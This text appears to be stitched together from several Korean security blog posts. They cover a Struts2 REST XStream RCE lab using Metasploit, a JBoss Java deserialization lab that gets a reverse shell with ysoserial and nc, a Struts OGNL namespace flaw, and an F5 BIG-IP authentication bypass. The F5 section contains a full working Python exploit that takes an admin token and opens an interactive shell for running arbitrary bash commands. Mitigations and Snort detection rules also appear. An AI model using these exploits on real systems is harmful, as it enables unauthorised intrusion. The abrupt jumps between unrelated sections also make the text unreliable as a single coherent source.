- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점
취약한 버전 - Apache Struts 2.1.2~2.3.33 - Apache Struts 2.5~2.5.12
3. 취약점 분석
3.1 실습
- 취약한 서버 구동 및 IP 확인
[사진 2] 취약 서버 구동 및 IP 확인
- Nmap을 통해 실행 중인 서비스와 버전 식별
- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)
nmap -A 192.168.56.113
[사진 3] Nmap 수행 결과
- Nmap 수행 결과를 통해 /orders.xhtml 접속
[사진 4] orders.xhtml(좌) 및 사용자 탐색(우)
- Metasploit을 통한 공격 수행
$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit
- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인
[사진 5] option 적용 확인
- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능
[사진 6] exploit 성공
- 해당 패킷을 와이어샤크로 확인하면 다음과 같음
[사진 7] 와이어샤크
3.2 분석
- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원
- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재
① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33) ② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행) ③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45) ④ XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53) - 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조
[사진 8] 취약한 버전의 XStreamHandler.java
- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행
- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달
[사진 9] 취약한 버전의 ContentTypeHandler.java
3.3 PoC 분석
- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달
- POST 메소드 요청 및 Content-Type': 'application/xml'로 변경
- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달
- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용.
- 프로그램이 종료되면 메모리에 있던 객체는 사라지게됨.
- 객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있으며, 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면 저장이 필요.
- 저장을 위해 객체를 바이트 스트림으로 변환하는 과정을 직렬화(Serialization),바이트 스트림을 다시 객체로 만들어 원래의 데이터를 불러오는 과정을 역직렬화(Deserialization)라고 함.
[사진 1] 직렬화 및 역직렬화
- 공격자가 원격에서 코드를 실행할 수 있는 RCE 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점
2. 취약점 실습
- 역직렬화에 취약한 웹 페이지 접속
[사진 2] 취약한 JBoss
- 역직렬화 데이터가 어떤 식으로 표시되는지 /invoker/JMXInvokerServlet 요청을 통해 확인
- 버프슈트를 통해 확인할 경우 필터의 "Filter byMIME type"에서 "Other binary" 체크
* 버프슈트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하기 때문
[사진 3] 필터 설정
- 응답값에서 "Content-Type: application/x-java-serialized-object"를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있음
[사진 4] Content-Type
- 또한, 직렬화 데이터는 바디 시작 부분을 확인해 보면, aced0005가 확인
- 해당 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트
[사진 5] aced0005
- ysoserial을 이용해 해당 취약점을 공격할 수 있음
ysoserial - URL : https://github.com/frohoff/ysoserial - 해외 연구원들이 프레임워크상에서의 RCE 발생과 관련된 연구 결과를 입증하기 위해 제작한 개념증명 도구 - Java 프로그램에서 임의의 사용자 명령을 실행할 수 있게 해주는 페이로드를 생성할 수 있음
[사진 6] ysoserial
- 공격자는 nc 명령 실행 후 대기
[사진 7] 터미널 생성
- 공격자가 생성한 터미널로 피해 시스템에서 접속하기 위한 페이로드를 ysoserial을 이용해 생성
- CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA에 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문
- /invoker/JMXInvokerServlet 요청을 Repeater로 보낸 후 바디 부분에서 마우스 우클릭 > Paste from file을 통해 reverse.bin 파일 삽입
[사진 9] reverse.bin 파일 삽입
- 이후 요청을 전송하면 리버스쉘이 생성됨.
[사진 10] 리버스쉘 생성
3. 대응방안
① 아파치 CommonsCollections 패키지를 최신버전으로 업데이트 - 일일이 이러한 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, - 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을
- 항상 최신 버전으로 유지하는 것을 권장
② 만일 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우 다음 사항 고려 필요 - 역직렬화 전에 반드시 인증 과정을 수행 - 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 않음 - 직렬화된 객체에 디지털 서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부를 점검 - 가급적 최소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행
③ 직렬화 데이터 탐지
- 직렬화된 데이터의 경우 aced0005 값을 포함하므로 해당 문자열을 탐지할 수 있는 Snort 적용
alert tcp any any -> any any (msg:"Java Deserialized Payload";flow:to_server,established; content:"|ac ed 00 05|";)
- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.
- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.
취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16 조건 1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정) 2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음. 결과 웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음. OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어
- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업 - BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품
- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음. - 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송 - 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음 - 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.
* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin * X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인 사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.
2.2) PoC
def exploit(url):
target_url = url + '/mgmt/shared/authn/login'
data = {
"bigipAuthCookie":"",
"username":"admin",
"loginReference":{"link":"/shared/gossip"},
"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
}
headers = {
"User-Agent": "hello-world",
"Content-Type":"application/x-www-form-urlencoded"
}
response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
if "/mgmt/shared/authz/tokens/" not in response.text:
print('(-) Get token fail !!!')
print('(*) Tested Method 2:')
header_2 = {
'User-Agent': 'hello-world',
'Content-Type': 'application/json',
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46QVNhc1M='
}
data_2 = {
"command": "run",
"utilCmdArgs": "-c whoami"
}
check_url = url + '/mgmt/tm/util/bash'
try:
response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
if response2.status_code == 200 and 'commandResult' in response2.text:
while True:
cmd = input("(:CMD)> ")
data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
if r.status_code == 200 and 'commandResult' in r.text:
print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
except Exception:
print('ERROR Connect')
print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
while True:
cmd = input("(:CMD)> ")
headers = {
"Content-Type": "application/json",
"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
}
data_json = {
"command": "run",
"utilCmdArgs": "-c \'%s\'"%(cmd)
}
exp_url= url + '/mgmt/tm/util/bash'
exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
else:
print('(-) Not vuln...')
exit(0)
if __name__ == '__main__':
title()
if(len(sys.argv) < 2):
print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
exit(0)
else:
exploit(sys.argv[1])
- 패킷을 분석하여 공격 패턴(ex. "widgetConfig[code]" 등)을 등록하여 탐지 및 차단
<Snort Rule 예시> alert tcp any any -> any any (msg:"vBulletin RCE_CVE-2019-16759"; sid:1; gid:1; content:"routestring"; nocase; content:"widgetConfig"; nocase; flow:established,to_server; pcre:"/echo[\s|+]shell\_exec/smi";)